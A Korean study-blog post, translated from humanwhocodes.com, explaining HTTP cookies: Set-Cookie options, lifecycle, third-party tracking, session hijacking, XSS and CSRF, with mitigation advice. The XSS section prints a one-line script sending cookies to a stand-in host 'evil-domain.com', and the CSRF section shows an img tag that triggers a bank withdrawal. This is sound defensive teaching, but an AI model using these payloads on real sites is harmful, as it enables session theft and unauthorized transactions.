[Web] 못 먹는 쿠키 팝니다
LastMod:
👨💻 개인 공부 기록용 블로그 입니다.
💡 틀린 내용이나 오타는 댓글, 메일로 제보해주시면 감사하겠습니다!! (__)
humanwhocodes.com (링크1, 링크2) 의 글을 번역하고 정리한 글입니다.
원 글의 라이센스인 CC BY-NC-ND 3.0를 따르며, 번역하는 과정에서 일부 내용을 재구성 및 추가하였습니다.
Introduction
나의 기술 부채 중 하나인 쿠키에 대해 정리해보았다. 그동안 쿠키에 대해 잘 알지도 못하고 막 갖다가 썼는데, 기회가 되어 다시 공부하면서 이 글을 작성하였다. 이 글에서는 HTTP 쿠키의 기원과 어떤 방식으로 동작하는 지, 쿠키의 다양한 옵션과 생애주기, 쿠키와 관련된 공격들에 대해 다룬다.
쿠키의 기원
- 초기 웹의 가장 큰 문제중 하나는 상태를 관리하는 방법이었음.
- 서버는 동일한 브라우저에서 2개의 요청을 날린 것인지, 각각의 브라우저에서 각자 요청을 날린 것인지 구분할 수 없다.
- 당시 가장 쉬운 방법은 요청이 있을 때 페이지에 토큰을 삽입하고, 다음 요청 시 해당 토큰을 다시 전달하는 것
- 이를 위해 토큰이 숨겨진 필드가 있는 양식을 사용하거나, URL의 쿼리 중 일부로 토큰을 전달해야 했음
- 두 가지 방식 모두 작업 오버헤드가 크고, 오류가 발생하기 쉬움.
- 넷스케이프 직원이었던 루 몬툴리가 ‘매직 쿠키’ 라는 개념으로 장바구니 문제를 해결함
쿠키란 무엇인가?
- 간단히 말해, 쿠키는 사용자의 브라우저에 저장되는 작은 텍스트 파일임.
- 실행 코드를 포함하지 않는 순수 텍스트이다.
- 웹 페이지 또는 서버는 브라우저에 이 정보를 저장한 다음, 일련의 규칙에 따라 후속 요청이 있을 때마다 저장해놨던 쿠키를 다시 보내도록 지시함.
- 이를 통해 웹 서버는 개별 사용자를 식별할 수 있음
- 로그인이 필요한 대부분의 사이트는 일반적으로 사용자의 자격 증명이 확인되면 쿠키를 설정하며, 해당 쿠키가 존재하고 유효성이 확인되는 한, 해당 사용자는 사이트의 모든 부분을 자유롭게 탐색할 수 있음
- 정리하면, 쿠키는 데이터를 담는 문자열일 뿐 그 자체로는 절대 유해하지 않음.
- 모든 요청마다 쿠키를 함께 묶어서 전송하기 때문에 성능 오버헤드가 발생할 수 있으며, 쿠키의 크기가 매우 한정적(4kb)이기 때문에 정보를 클라이언트에 저장하기 위한 목적이면 Modern APIs의 종류인 웹스토리지 API(
localStorage
,sessionStorage
)와IndexedDB
를 사용하는 것이 옳은 방법이다.
쿠키 생성
- 서버는
Set-Cookie
라는 HTTP 헤더를 전송하여 저장할 쿠키를 지정함. 다음과 같은 형식을 가짐Set-Cookie: <em>value</em>[; expires=<em>date</em>][; domain=<em>domain</em>][; path=<em>path</em>][; secure]
- 헤더의 첫 부분은 일반적으로
key=value
쌍의 문자열임.- 이 형식으로 사용하도록 RFC상에서 명시하고 있지만, 브라우저는 이를 명시적으로 파싱하지 않음.
- 즉, 브라우저 단에서 유효성 검사를 실시하지 않기 때문에, 등호 없이 일반 문자열을 보내도 해당 값이 쿠키로 지정됨
- 하지만
key=value
쌍의 문자열을 지정하는 게 가장 일반적인 사용법이다.
- 쿠키가 존재하고 규칙이 허용(선택적임)되는 경우, 쿠키 값은 이후 요청에 따라 서버로 전송됨. 전송되는 쿠키 값 또한 HTTP 헤더에 위치하며, 형식은 다음과 같음. (다른 옵션 없이 쿠키 값만 전송)
Cookie: value1; value2; name1=value1;
쿠키 인코딩
- 일반적으로 쿠키 값은 URL로 인코딩되어야 한다고 생각하지만, 이는 잘못된 생각이다.
- 역자 주 - URL 인코딩:
현 -> ED9884 ->'%ED%98%84'
처럼, URL에서 사용될 수 없는 문자를 사용가능하도록 인코딩. 사실 퍼센트 인코딩이라는 용어가 더 적합함. - RFC에는 인코딩에 대한 언급이 전혀 없음. URL 인코딩은 그냥 구현 방식일 뿐이다.
- 역자 주 - URL 인코딩:
만료 옵션 (expires)
- 쿠키 값 뒤의 각 옵션은 세미콜론과 공백으로 구분되며, 각각 쿠키가 서버로 다시 전송되어야 하는 시점에 대한 규칙을 지정한다. 첫 번째 옵션은 만료로, 더 이상 쿠키가 서버로 전송되지 않아야 하는 시기를 나타낸다.
- 브라우저에서는 만료 시각이 지나면 자동으로 삭제한다.
- 형식은 다음과 같다.
Set-Cookie: name=HyunJun; expires=Sat, 02 May 2009 23:38:25 GMT
expires
옵션이 없다면 쿠키의 수명은 단일 세션. 즉, 브라우저가 열려있는 동안에만 존재한다.- 웹사이트를 사용하다보면 로그인할 때 로그인 정보를 저장할 것인지 묻는 경우가 많은데, 예를 선택하는 경우에는 로그인 쿠키에 만료 옵션이 더해지는 것이다.
도메인 옵션 (domain)
domain
옵션은 쿠키를 전송할 도메인을 나타낸다.- 기본적으로 도메인은 쿠키를 설정하는 페이지의 호스트 이름으로 설정되므로 동일한 호스트 이름으로 요청할 때마다 쿠키 값이 전송된다.
- 따라서 이 옵션은 쿠키를 전송할 도메인을 늘리는 데 사용된다.
- 형식은 다음과 같다.
Set-Cookie: name=HyunJun; domain=github.io
- 예를 들어, 네이버 (
www.naver.com
)를 이용한다고 해보자.- 다양한 서비스가 있을 것이다. 지도(
map.naver.com
) 라던지, 뉴스(news.naver.com
) 라던지… - 이 때, 쿠키의 도메인 옵션을
naver.com
로 설정하면 브라우저는 이 값과 요청이 전송되는 호스트 이름의 꼬리 비교를 수행하여(문자열의 끝 부분부터 비교를 시작한다는 의미) 일치하는 경우 해당 쿠키 헤더를 전송한다. - 정리하면, 여러 서브 서비스가 있는 대규모 서비스에서 전역 쿠키를 사용해야 할 때, 이 옵션이 적합하다.
- 다양한 서비스가 있을 것이다. 지도(
- 도메인 옵션에 적히는 도메인은
Set-Cookie
헤더를 전송하는 호스트 이름의 일부여야 한다. - 잘못된 도메인 옵션은 무시된다.
경로 옵션 (path)
path
옵션은 쿠키 헤더가 전송되는 시기를 제어하는 또 다른 방법이다.- 도메인 옵션과 마찬가지로
path
는 쿠키 헤더를 보내기 전에 요청된 리소스에 존재해야 하는 URL 경로를 나타낸다.- 요청 URL의 시작 부분부터, 옵션 값을 문자별로 비교하여 일치하는 경우에만 쿠키 헤더가 전송된다.
path
옵션에 지정된 문자열로 시작하는 모든 것이 유효하다.
- 예를 들어, 다음과 같은 쿠키가 전송된다고 해보자.
Set-Cookie: name=HyunJun; path=/blog
- 위 쿠키에서는
/blog
,/blogroll
등의 경로가 모두 유효하다. - 이러한 비교는 도메인 옵션의 비교 후에 이뤄진다.
path
옵션 또한 도메인 옵션과 마찬가지로, 기본 값은Set-Cookie
헤더를 전송한 URL 경로이다.
보안 옵션 (secure)
secure
옵션은 다른 옵션과 달리 플래그일 뿐이며, 추가 값을 지정하지 않는다.- 이 옵션이 켜진 보안 쿠키는 SSL 및 HTTPS 프로토콜을 사용하여 요청이 이루어질 때만 서버로 전송된다.
- 쿠키의 내용이 매우 중요하고, 일반 텍스트로 전송하는 경우 잠재적으로 손상될 수 있다는 점을 고려한 것이다.
- 실제로는 쿠키의 메커니즘 자체가 본질적으로 안전하지 않기 때문에 기밀 정보나 민감한 정보는 쿠키를 사용하면 안된다.
- 기본적으로, HTTPS 연결을 통해 설정된 쿠키는 자동으로 보안 쿠키로 설정된다.
Set-Cookie: name=HyunJun; secure
SameSite 옵션
SameSite
옵션은 최근 웹 보안에서 중요하게 다루어진다. 하기 설명할 CSRF 공격을 막는 데 도움을 준다.- 이 옵션은 3가지 값을 가질 수 있으며, 각각의 값은 언제 클라이언트로 부터 서버로 전송되어야 하는지를 브라우저에 지시한다.
Strict
: 쿠키가 오직 같은 사이트에서만 전송되어야 한다.Lax
: 위 옵션 보다는 덜 제한적으로, 사용자가 외부 사이트에서 현재 사이트로의 링크를 클릭하여 접속하는 경우에는 쿠키를 전송하도록 허용한다. 기본적으로 이 옵션이 적용된다.None
: 쿠키가 모든 크로스 사이트 요청에 대해 전송되어야 한다. 서브파티 컨텍스트에서도 쿠키가 전송되어야 하는 특정 시나리오에서는 유용할 수 있다. 이 옵션을 통해 크로스 사이트 쿠키를 만들 때에는 브라우저에서 이를 허용할 수 있도록 반드시secure
옵션을 설정해야 한다.
- 형식은 다음과 같다.
Set-Cookie: name=HyunJun; SameSite=Lax
쿠키의 지속성과 생애주기
- 단일 쿠키에 대해 여러 옵션을 넣을 수 있으며, 순서는 고려하지 않는다.
- 아래와 같은 쿠키가 전송되었다고 가정해보자. (#1)
Set-Cookie: name=HyunJun; domain=github.io; path=/blog
- 3가지의 옵션이 지정되었지만, 실질적으로
secure
까지 4가지의 식별자가 존재하는 것이다. - 나중에 이 쿠키의 값을 변경하기 위해서는
name
,domain
,path
가 모두 일치하는Set-Cookie
헤더를 보내야 한다. (#2)Set-Cookie: name=hyunjuki; domain=github.io; path=/blog
- 위와 같이 쿠키를 보내면,
name
의 값을 다르게 주었기 때문에 서로 다른 쿠키가 생기게 된다. 따라서www.nczonline.net/blog
에 접속했을 때 요청에 포함되는 쿠키 헤더는 다음과 같다.Cookie: name=hyunjuki; name=HyunJun
- 만약 하나라도 다른 값을 채운다면, 완전히 다른 쿠키가 생성된다. 아래 예시를 보자. (#3)
Set-Cookie: name=HyunJun; domain=github.io; path=/
- #1 의 쿠키와 비슷하게 생겼지만,
path
가 다르게 지정되어 있기 때문에 전혀 다른 쿠키가 생성된다. - 이 때,
www.nczonline.net/blog
에 접속했을 때 요청에 포함되는 쿠키 헤더는 다음과 같다.Cookie: name=hyunjuki; name=HyunJun; name=HyunJun
- 더 구체적인 경로를 가진 쿠키가 요청 헤더에 먼저 포함되는 원칙이 있다. (
domain-path-secure
튜플 순으로 더 특정성 있는 쿠키가 먼저 포함된다.) - 따라서 두 개의
name=HyunJun;
쿠키 중 첫 번째는path=/blog
로 설정된 쿠키이다. - 쿠키의 ‘승리’ 조건, 즉 어떤 쿠키 값이 사용될지를 결정하는 조건은 브라우저의 구현, 쿠키를 처리하는 방식, 서버측 구현 로직에 따라 다르다.
github.io/blog
에 접속한 채로 다음 쿠키를 설정했다고 가정해보자. (#4)Set-Cookie: name=Mike
- 위 쿠키의 나머지 옵션은 모두 기본값으로 설정되기 때문에, 자동으로
domain=github.io; path=/blog
가 적용된다. 따라서 다음 요청에 포함되는 쿠키 헤더는 다음과 같다.Cookie: name=Mike; name=hyunjuki; name=HyunJun; name=HyunJun
만료 날짜 이용하기 (expiration dates)
- 만료 날짜가 있는 쿠키가 생성되면 해당 만료 날짜는 (이름-도메인-경로-보안) 튜플로 식별되는 쿠키와 관련이 있다.
- 쿠키 만료 날짜를 변경하기 위해선, 정확히 동일한 튜플을 지정하여
Set-Cookie
요청을 날려야 한다. - 쿠키 값을 변경할 때 만료 날짜는 식별 정보의 일부가 아니므로 매번 설정할 필요가 없다.
- 만료 날짜는 다시 변경하지 않는 한 바뀌지 않는다.
- 즉, 세션 쿠키는 동일한 세션 내에서 영구 쿠키(여러 세션에 걸쳐 지속되는 쿠키. 즉,
expires
옵션이 적용됨)가 될 수 있지만 그 반대의 경우는 그렇지 않다.- 역자 주 -
expires
옵션을 다시 적용할 수 있지만, 아예 없애버리지는 못한다는 뜻
- 역자 주 -
- 영구 쿠키를 세션 쿠키로 변경하려면, 만료일을 과거의 시점으로 설정하여 영구 쿠키를 삭제한 후 같은 이름의 세션 쿠키를 만들어야 한다.
- 만료 날짜는 브라우저를 실행하는 컴퓨터의 시스템 시간과 비교하여 확인된다.
- 시스템 시간이 서버 시간과 동기화되었는지 확인할 수 있는 방법이 없으므로 시스템 시간과 서버 시간이 불일치할 경우 오류가 발생할 수 있다.
자동 쿠키 삭제
- 쿠키가 브라우저에 의해 자동으로 제거되는 데에는 몇 가지 이유가 있다.
- 세션 쿠키는 세션이 종료되면 삭제된다. (브라우저가 닫히는 경우)
- 영구 쿠키(
expires
옵션이 있는 쿠키)는 만료 시간에 도달하면 삭제된다. - 브라우저의 쿠키 한도에 도달하면 가장 최근에 생성된 쿠키를 위한 공간을 확보하기 위해 쿠키가 삭제된다. (보통 LRU 방식을 사용한다.)
- 의도치 않게 쿠키가 자동으로 제거되는 경우를 방지하려면 쿠키 관리가 중요하다.
쿠키 제한
- 쿠키의 남용을 방지하고 브라우저와 서버를 유해한 영향으로부터 보호하기 위해 쿠키에는 여러 가지 제한이 있다.
- (브라우저 별 쿠키 개수 제한이 있는데, 최근에는 의미가 없는 수준임 - 1, 2위를 달리는 사파리와 크롬에는 쿠키 수 제한이 없음)
- 서버로 전송되는 모든 쿠키의 최대 크기는 쿠키의 등장부터 지금까지 동일하게 유지되어 왔다. (4kb)
- 즉, 4kb를 넘는 쿠키는 잘리기 때문에 원하는 대로 전송되지 않을 수 있다.
서브쿠키
- 쿠키 개수 제한으로 인해 개발자는 사용 가능한 저장 공간을 늘리기 위해 서브쿠키라는 아이디어가 나왔다.
- 서브쿠키는 쿠키 값 내에 저장되는 이름-값 쌍으로, 다음과 같은 형태이다.
name=a=b&c=d&e=f&g=h
- 이렇게 하면 브라우저의 쿠키 수 제한을 우회하여 여러 정보를 담을 수 있다.
- 하지만 이 방법은 서버단에서의 추가 파싱을 필요로 하게 된다.
- (이것도 최근에는 큰 의미가 없는 방법인 듯 하다.)
자바스크립트에서 쿠키 사용하기
document.cookie
를 통해 자바스크립트에서 쿠키를 생성, 조작 및 제거할 수 있다.- 이 속성은 할당할 때는
Set-Cookie
헤더로, 읽을 때는 쿠키 헤더로 동작한다. - 쿠키를 만들 때는
Set-Cookie
가 필요로하는 형식과 동일한 문자열을 사용해야 한다:document.cookie="name=HyunJun; domain=github.io; path=/";
document.cookie
값을 설정해도 페이지에 저장된 모든 쿠키가 삭제되지는 않는다. 단순히 문자열에 지정된 쿠키를 생성하거나 수정할 뿐이다.- 다음에 서버에 요청을 할 때 이 쿠키는
Set-Cookie
를 통해 생성된 다른 쿠키와 함께 전송되며, 이러한 쿠키 간에는 인식할 수 있는 차이가 존재하지 않는다. - 자바스크립트에서 쿠키 값을 검색하려면
document.cookie
속성에서 읽으면 된다. 반환되는 문자열은 쿠키 헤더 값과 동일한 형식이므로 여러 개의 쿠키는 세미콜론과 공백으로 구분됩니다. - 사용자가 직접 쿠키 문자열을 파싱해서 사용해야 한다. 자바스크립트 내장 라이브러리를 사용해도 되고, 쿠키를 파싱하기 위한 이미 존재하는 라이브러리를 사용해도 된다.
document.cookie
에 접근하여 반환되는 쿠키는 서버로 전송되는 쿠키와 동일한 규칙을 따른다.- 자바스크립트를 통해 쿠키에 접근하기 위해서는 페이지가 동일한 도메인에 있고, 경로가 동일하며, 쿠키에 지정된 것과 동일한 보안 수준을 가져야 한다.
- 자바스크립트를 통해 쿠키카 설정된 후에는 쿠키 옵션을 검색할 수 없으므로, 도메인, 경로, 만료일 또는 보안 플래그를 알 수 없다.
HTTP-Only 쿠키
- HTTP-Only 쿠키의 기본 개념은 문서 쿠키 속성을 통해 자바스크립트를 통해 쿠키에 액세스할 수 없도록 브라우저에 지시하는 것이다.
- 이 기능은 자바스크립트를 통해 쿠키를 탈취하는 크로스 사이트 스크립팅(XSS) 공격을 방지하기 위한 보안 조치로 설계되었다. XSS 공격은 아래에서 설명한다.
- HTTP-Only 쿠키를 만들려면 쿠키에 HttpOnly 플래그를 추가하면 됩니다:
Set-Cookie: name=HyunJun; HttpOnly
- 이 플래그가 설정되면
document.cookie
를 통해 이 쿠키에 액세스할 수 없다. - 당연하게도 자바스크립트로는 HTTP-Only 쿠키를 설정할 수 없다.
유저 로그인과 세션 하이재킹
- 쿠키의 가장 일반적인 용도 중 하나는 사용자 로그인 상태를 추적하는 것.
- 사용자의 로그인 정보가 유효하면, 다음 응답과 함께 사용자를 고유하게 식별하는 쿠키가 전송됨.
- 사이트의 각 페이지는 로그인 자격 증명을 설정하기 위해 해당 쿠키를 확인.
- 쿠키가 유지되는 한, 사용자는 원래 로그인 한 사람으로 인식됨.
- 의도치 않게 로그인 상태를 유지하는 것을 방지하기 위한 보안 조치로, 대부분의 사이트는 이러한 쿠키를 세션 쿠키로 설정하여 브라우저가 닫힐 때 삭제되도록 함.
- 많은 사이트들이 ‘로그인 유지하기’ 옵션을 통해 사용자의 요청에 따라 세션 쿠키를 영구 쿠키로 바꿀 수 있도록 함
- 그럼에도, ‘로그인 유지하기’ 옵션을 제공하는 대부분의 시스템에서는 사용자의 보안을 위협할 수 있는 로그인 자격 증명의 폭주를 방지하기 위해 1~2주라는 기간 제한을 두고 있음.
- 쿠키를 통한 사용자 식별 시스템의 문제점은 단일 데이터 포인트가 남는다는 것.
- 또한, 쿠키는 인터넷을 통해 일반 텍스트로 전송되기 때문에 [패킷 스니핑 (누군가 트래픽을 가로 채는 것)] 에 취약할 수 있음.
- 그렇게 로그인 쿠키가 탈취되면, 수동으로 쿠키를 설정하여 다른 곳에서 동일한 세션을 시뮬레이션하는 데 사용할 수 있음.
- 서버는 이 상황에서 원본 쿠키와 탈취 후 복제된 쿠키의 차이를 구분할 수 없다.
- 이러한 유형의 공격을 [세션 하이재킹 (Session Hijacking)] 이라고 함.
- 세션 하이재킹을 방지하기 위해선
- SSL을 통해서만 쿠키를 전송: SSL은 브라우저에서 요청을 암호화하기 때문에, 패킷 스니핑만으로는 쿠키 값을 식별할 수 없음.
- 사용자에 대한 정보(이름, IP, 로그인 시간 등)를 기반으로, 임의의 방식으로 세션 키 생성: 세션 키를 재사용하기 어려워짐(불가능하지는 않음)
- 보안 수준이 높아야 되는 활동(송금이나 구매 완료 처리 등)을 수행하기 전, 사용자를 다시 확인: 비밀번호를 바꾼 후 재로그인을 요구
서드파티(Third-party) 쿠키
- 웹 페이지에서는 웹 어디에서나 리소스를 포함할 수 있다.
- HTML에 다른 도메인의 리소스를 포함하는 방법에는 여러 가지가 있다.
<link>
태그를 사용하여 스타일 시트를 포함<script>
태그를 사용하여 자바스크립트 파일을 포함<object>
태그 또는 미디어 파일을 포함하는 태그를 사용<iframe>
태그를 사용하여 다른 HTML 파일을 포함
- 각각의 경우 외부 파일이 참조되므로, 자체 쿠키를 반환할 수 있다.
A.com
에서B.com
에 있는 이미지 배너를 불러온다고 가정해보자.B.com
의 서버는 이미지 배너와 함께Set-Cookie
헤더를 전송해 브라우저가id=1
과 같은 쿠키를 설정하도록 한다. 이 쿠키는B.com
에서 설정했기 때문에,B.com
에서만 볼 수 있다. (domain
옵션이B.com
으로 설정된 것과 같다.) 이러한 쿠키를 서드파티 쿠키 (Third-party Cookie) 라고 한다.
- 사용자가 만약
A.com
에 다시 접속하게 되면,B.com
의 서버가 요청을 받으면서 함께 받은 쿠키의id
를 통해 특정 사용자를 인식한다.
- 이 사용자가
A.com
을 벗어나C.com
으로 이동했는데,B.com
에서 제공하는 같은 이미지 배너가 있다고 가정해보자.
- 처음에
A.com
에서 설정된 서드파티 쿠키가C.com
에 접속할 때B.com
로 같이 보내진다. B.com
에서는 해당 서드파티 쿠키와 함께 HTTP Referer 헤더를 같이 수신하기 때문에, 해당 쿠키 값을 가지는 유저가 어떤 페이지를 방문했는지 모두 추적할 수 있게 된다.- 이러한 원리로 광고 사이트에서 사이트 간 사용자 이동을 추적하게 된다. 이때문에 서드파티 쿠키를 추적 쿠키 라고도 한다.
- 실제로 보안상 문제가 되는 건 아니지만, 더 큰 범위에서 논의되어야 할 문제이다.
- 사파리는 애초에 서드파티 쿠키가 막혀있었고, 크롬은 23년도 부터 서드파티 쿠키 사용이 제한되었다.
- EU에서는 GDPR이라는 법령으로, 쿠키를 추적하는 경우 사용자로부터 명시적인 허가를 얻어야만 한다.
- 따라서 해외 사이트를 들어갔을 때, 쿠키를 허용하겠냐는 팝업창이 자주 보이는 것이다.
쿠키 탈취와 XSS(Cross-site scripting)
- 다른 도메인의 자바스크립트를 페이지에 로드하는 기능은 편리할 수 있지만, 골치 아픈 보안 취약점을 열어줄 수 있다.
- 서드파티 자바스크립트 리소스에 대한 요청에 페이지의 쿠키가 포함되어 있지 않더라도, 스크립트는 해당 쿠키에 접근할 수 있다.
- 페이지의 모든 자바스크립트는 동일한 도메인, 동일한 경로 및 페이지 자체와 동일한 프로토콜을 사용하여 실행되는 것으로 간주된다.
- 즉, 로드된 다른 도메인의 스크립트는
document.cookie
를 읽어 해당 페이지의 쿠키를 얻을 수 있다. - 이게 얼마나 위험한 지 알아보기 위해,
evil-domain.com
에서 유용한 코드가 포함된 스크립트를 특정 페이지에 로드한다고 가정해보자.(new Image()).src = "http://www.evil-domain.com/cookiestealer.php?cookie=" + cookie.domain;
- 이제 이 코드는 특정 페이지에 로드 되고, 자동으로 방문자들의 쿠키를
evil-domain.com
으로 다시 보낸다. - 쿠키가 있으면 세션 하이재킹을 포함한 다른 공격을 저지르는게 훨씬 쉬워진다.
- 서드파티 자바스크립트를 페이지에 삽입하여 공격하는 것을 XSS(Cross-site scripting)공격 이라고 한다.
-
세션 토큰 탈취 외에도, 페이지에 스크립트를 삽입하기 때문에 자바스크립트로 할 수 있는 모든 기능을 통해 공격할 수 있다. (키 로깅, 키보드 입력 탈취, 폼 입력값 탈취 등)
- 쿠키 도용은 악의적인 스크립트를 포함하는 것만으로는 발생하지 않고, 잘못된 입력 필터링으로 인해 발생할 수도 있다.
- SQL 인젝션과 비슷한 방식으로, 입력값 검증을 제대로 하지 않아서
<script>
태그가 포함된 문자열을 받고 그대로 실행하게 되면 쿠키가 도난당할 수 있다. - XSS를 방지하기 위해서는 다음 주의 사항을 따른다.
- 신뢰할 수 없는 도메인의 자바스크립트를 포함하지 않는다.
- 모든 사용자 입력에서 HTML을 필터링한다. - SQL 인젝션을 막는 방법과 비슷
- HTTP-Only 쿠키를 사용한다.
CSRF(Cross-site Request Forgery)
- CSRF(Cross-site Request Forgery) 공격은 공격자가 로그인한 사용자를 대신하여 악의적인 작업을 수행하는 요청을 보내도록 브라우저를 설득하는 것이다.
- 위에서 설명한 XSS 기술이나 간단한 HTML을 사용하여 공격을 수행할 수 있다.
- 입력 필터링이 존재하지 않는 포럼에 누군가 게시글을 작성한다고 해보자.
- 필터링이 존재하지 않기 때문에 사용자는 HTML을 직접 입력할 수 있게 된다.
- 게시글 내용에 다음을 적었다고 가정해보자.
<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">
- 다른 사용자가 이 게시글을 눌렀다면, 무조건 위 링크에 요청을 보내게 된다.
- 해당 사용자가 만약
bank.example
에 로그인 했던 상황이면, 그대로 다른사람한테 돈을 송금하게 될 것이다. - 물론, 이는 입력 필터링이 없는 곳 +
bank.example
측 서버 사이드 검증이 하나도 없어야 일어날 수 있는 특이 케이스 이지만, 사용자의 의도와는 상관 없이 요청이 날라간다는 점에 주목해야 한다.
- 해당 사용자가 만약
- XSS와 마찬가지로, 입력 필터링은 CSRF 공격을 방지하는 중요한 도구이다. 그 밖에도:
- 민감한 작업에 대해 추가적인 확인 절차가 필요함 - 위 예시 기준
bank.example
의 서버 사이드 검증이 추가되어야 한다. - 민감한 데이터가 있는 시스템에서 사용자를 확인하는 쿠키는 만료 시간이 짧아야 함
- 쿠키 뿐만 아니라, Referer나 요청 유형(Get 대신 Post 요청이 왔는지)에 따른 유효성 검사도 수행해야 함
- 민감한 작업에 대해 추가적인 확인 절차가 필요함 - 위 예시 기준
- CSRF 공격은 일단 시작되면 추적하기 특히 까다롭기 때문에, 예방이 중요하다.
결론
- 쿠키는 사용자의 세션 관리, 개인화된 사용자 경험 제공, 로그인 상태 유지 등 다양한 기능을 가능하게 한다.
- 쿠키를 설정하고 사용하는데는 다양한 옵션이 존재하고, 이를 적재적소에 활용하여 보안과 사용자 경험을 최적화해야 한다.
- 쿠키를 통한 XSS, CSRF 와 같은 공격이 있고, 올바른 쿠키 설정과 보안 관행을 적용함으로써 상당수의 공격을 막을 수 있다.
References
https://humanwhocodes.com/blog/2009/05/05/http-cookies-explained/
https://humanwhocodes.com/blog/2009/05/12/cookies-and-security/
https://ko.javascript.info/cookie#ref-62
https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies
https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/Referer
Leave a comment